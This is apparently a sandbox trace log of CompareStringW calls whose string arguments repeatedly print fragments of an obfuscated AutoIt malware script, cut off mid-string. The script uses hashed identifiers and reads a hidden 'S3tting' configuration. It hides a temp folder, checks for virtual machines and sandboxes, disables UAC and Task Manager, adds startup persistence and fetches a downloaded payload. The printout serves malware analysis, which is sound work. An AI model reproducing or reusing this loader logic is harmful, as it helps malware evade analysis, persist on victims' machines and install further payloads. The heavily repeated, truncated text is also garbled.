Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="obal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\"", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\",", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="al Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' 